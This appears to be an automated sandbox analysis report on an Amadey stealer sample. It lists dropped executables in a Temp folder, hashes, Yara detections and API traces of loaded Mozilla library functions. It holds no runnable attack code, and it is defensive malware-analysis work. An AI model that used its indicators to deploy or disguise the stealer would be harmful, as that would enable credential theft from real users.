Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	18:16:05
Start date:	06/12/2024
Path:	C:\Users\user\Documents\JKKKJJJKJK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\JKKKJJJKJK.exe"
Imagebase:	0x570000
File size:	3'232'256 bytes
MD5 hash:	4B0FCA9817C0405A34CB0B40D95D02E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.2786863150.0000000000571000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:16:07
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x940000
File size:	3'232'256 bytes
MD5 hash:	4B0FCA9817C0405A34CB0B40D95D02E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.2821458467.0000000000941000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	18:16:08
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x940000
File size:	3'232'256 bytes
MD5 hash:	4B0FCA9817C0405A34CB0B40D95D02E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2834011701.0000000000941000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	18:17:00
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x940000
File size:	3'232'256 bytes
MD5 hash:	4B0FCA9817C0405A34CB0B40D95D02E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.3412296023.0000000000941000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EF688,00001000), ref: 6C9635D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9635E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9635FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C96363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C96369F
__aulldiv.LIBCMT ref: 6C9636E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C963773
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C96377E
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C9637BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9637C4
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C9637CB
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C963801
__aulldiv.LIBCMT ref: 6C963883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C963902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C963918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C96394C

Strings

AuthcAMDenti, xrefs: 6C963946
QPC, xrefs: 6C9638FC
GTC, xrefs: 6C963912
GenuntelineI, xrefs: 6C963639
MOZ_TIMESTAMP_MODE, xrefs: 6C9635DB

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: c02da193ec368c5014906d882be0f33fe7e9e9d90c326e0849f2c6f2885893f2
Instruction ID: 2c3a290a033bbbf252d2fa40c6f8ab3811b988b418c87b220ea80aa77cf8596f
Opcode Fuzzy Hash: c02da193ec368c5014906d882be0f33fe7e9e9d90c326e0849f2c6f2885893f2
Instruction Fuzzy Hash: 7BB1C471B083409BDB48DF39D84561ABBF5BFAEB04F15892EE499D7B90D770D9008B81

Function 6C97C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C97C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C97C969
GetSystemInfo.KERNEL32(?), ref: 6C97C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C97C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C97C9E2

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 809a88a11ed0d40e29a39bde6d1eff1d348848a141352a261ece0bc38ec0e83f
Instruction ID: a8d9a50efb501171aa60683ff9d3309aa07339397acbd5a4ba8b7cc4ade53ced
Opcode Fuzzy Hash: 809a88a11ed0d40e29a39bde6d1eff1d348848a141352a261ece0bc38ec0e83f
Instruction Fuzzy Hash: F121FC32746314ABDB94AA24DC84BAE7779FF9A704F60051AF903A7B40DB70DD40C7A4

Function 6C963060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C963095

Part of subcall function 6C9635A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EF688,00001000), ref: 6C9635D5
Part of subcall function 6C9635A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9635E0
Part of subcall function 6C9635A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9635FD
Part of subcall function 6C9635A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C96363F
Part of subcall function 6C9635A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C96369F
Part of subcall function 6C9635A0: __aulldiv.LIBCMT ref: 6C9636E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C96309F

Part of subcall function 6C985B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9856EE,?,00000001), ref: 6C985B85
Part of subcall function 6C985B50: EnterCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985B90
Part of subcall function 6C985B50: LeaveCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985BD8
Part of subcall function 6C985B50: GetTickCount64.KERNEL32 ref: 6C985BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9630BE

Part of subcall function 6C9630F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C963127
Part of subcall function 6C9630F0: __aulldiv.LIBCMT ref: 6C963140

Part of subcall function 6C99AB2A: __onexit.LIBCMT ref: 6C99AB30

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: f720f1c3aa7183bd8ed24110f7c816a6ce4d709f5a57fb767e5ca9250014601a
Instruction ID: b2bdbc77596f9693897eda8bc21137a85c06c6467ddc4d83fcbced6ec53e0a56
Opcode Fuzzy Hash: f720f1c3aa7183bd8ed24110f7c816a6ce4d709f5a57fb767e5ca9250014601a
Instruction Fuzzy Hash: F3F0D612E2974CD7DB50DF34A8411AA7370AFBF618B20171BE84453551FB20A2D88382

Non-executed Functions

Function 6C975440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C975492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9754A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9754BE
__Init_thread_footer.LIBCMT ref: 6C9754DB

Part of subcall function 6C99AB3F: EnterCriticalSection.KERNEL32(6C9EE370,?,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284), ref: 6C99AB49
Part of subcall function 6C99AB3F: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99AB7C

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9754F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C975516
GetCurrentThreadId.KERNEL32 ref: 6C97556A
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C975577
moz_xmalloc.MOZGLUE(00000070), ref: 6C975585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C975590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9755E6
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C975606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C975616

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

GetCurrentThreadId.KERNEL32 ref: 6C97563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C975646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C97567C
free.MOZGLUE(?), ref: 6C9756AE

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9756E8
GetCurrentThreadId.KERNEL32 ref: 6C975707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C97570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C975729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C97574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C97576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C975796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9757B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9757CA

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C975724
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C975D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C975749
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9754B9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C97548D
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C975D24
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9754A3
MOZ_PROFILER_STARTUP, xrefs: 6C9755E1
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C975791
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C975717
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C975CF9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C975D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C975AC9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C97584E
MOZ_BASE_PROFILER_HELP, xrefs: 6C975511
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C975B38
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9757AE
[I %d/%d] profiler_init, xrefs: 6C97564E
GeckoMain, xrefs: 6C975554, 6C9755D5
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9757C5
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9756E3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C975C56
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C975BBE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C975D1C
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C975766

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 6fb74a32d0dbd02dc79fe6bcec550e93f8d84fc893e805cd8b46b9ab8c877291
Instruction ID: 8477e72cc3cbe838dc11b2afec74290933f29c0f2f9f7f6a239dac51665badca
Opcode Fuzzy Hash: 6fb74a32d0dbd02dc79fe6bcec550e93f8d84fc893e805cd8b46b9ab8c877291
Instruction Fuzzy Hash: 43221771A093409FEB919F74C44476A7BF4FFAA30CF14492AE84A97B41EB35C445CB62

Function 6C9AB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AB845
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000), ref: 6C9AB852
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AB884
InitializeConditionVariable.KERNEL32(?), ref: 6C9AB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C9AB9FD
GetCurrentThreadId.KERNEL32 ref: 6C9ABA05
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000), ref: 6C9ABA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C9ABA27
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9ABA4B
free.MOZGLUE(?), ref: 6C9AC9C7
free.MOZGLUE(?), ref: 6C9AC9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C9AC7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C9AC878

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: f5b7214ab645276e4a62ec91b579ad8212c196e309d00aadb38aa1de3c94d5ae
Instruction ID: 941c25c8e9042e80faf93ac8eb2877bb6ab7594e7481a5d641d1f3cd4bd4df41
Opcode Fuzzy Hash: f5b7214ab645276e4a62ec91b579ad8212c196e309d00aadb38aa1de3c94d5ae
Instruction Fuzzy Hash: 38A2AD71A087808FD725CF68C48079BB7F5BFD9318F144A2DE89997750DB31E9498B82

Function 6C976C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C976CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C976D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C976D26

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C976D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C976D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C976D73
free.MOZGLUE(00000000), ref: 6C976D80
CertGetNameStringW.CRYPT32 ref: 6C976DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C976DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C976DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C976DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C976E10
CryptMsgClose.CRYPT32(00000000), ref: 6C976E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C976E34
CreateFileW.KERNEL32 ref: 6C976EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C976F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C976F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C97709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C977103
free.MOZGLUE(00000000), ref: 6C977153
CloseHandle.KERNEL32(?), ref: 6C977176
__Init_thread_footer.LIBCMT ref: 6C977209
__Init_thread_footer.LIBCMT ref: 6C97723A
__Init_thread_footer.LIBCMT ref: 6C97726B
__Init_thread_footer.LIBCMT ref: 6C97729C
__Init_thread_footer.LIBCMT ref: 6C9772DC
__Init_thread_footer.LIBCMT ref: 6C97730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9773C2
VerSetConditionMask.NTDLL ref: 6C9773F3
VerSetConditionMask.NTDLL ref: 6C9773FF
VerSetConditionMask.NTDLL ref: 6C977406
VerSetConditionMask.NTDLL ref: 6C97740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C97741A
moz_xmalloc.MOZGLUE(?), ref: 6C97755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C977568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C977585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C977598
free.MOZGLUE(00000000), ref: 6C9775AC

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

Strings

(, xrefs: 6C97768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C9772C8
SHA256, xrefs: 6C976EC0
wintrust.dll, xrefs: 6C9772CD

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: ea24c88d8f40be00d52862190dfc54b9a462434c8b4df7fb11725c311560ca7f
Instruction ID: c8531e7d4a1b38238bc72e299c8d1a330e14b739cc290aa3688ded5a6a392051
Opcode Fuzzy Hash: ea24c88d8f40be00d52862190dfc54b9a462434c8b4df7fb11725c311560ca7f
Instruction Fuzzy Hash: 7B52D671A053149BEB62DF24CC84BAA77BCEF69708F144199E509A7640DB70EF84CFA1

Function 6C996FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C997019
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C997061
EnterCriticalSection.KERNEL32(?), ref: 6C9971A4
LeaveCriticalSection.KERNEL32(?), ref: 6C99721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C99723E
EnterCriticalSection.KERNEL32(?), ref: 6C99726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9972B2
LeaveCriticalSection.KERNEL32(?), ref: 6C99733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9973E8
LeaveCriticalSection.KERNEL32(?), ref: 6C99961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C999622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C999642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C99964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9996CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9996DB
AcquireSRWLockExclusive.KERNEL32(6C9EE804), ref: 6C999747
GetSystemInfo.KERNEL32(?), ref: 6C999792
__Init_thread_footer.LIBCMT ref: 6C9997A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9EE810,00000040), ref: 6C9997CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7B8,00001388), ref: 6C999838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE744,00001388), ref: 6C99984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE784,00001388), ref: 6C999874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7DC,00001388), ref: 6C999895

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C999933, 6C999A33, 6C999A4E
<jemalloc>, xrefs: 6C999B33, 6C999BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9999A8
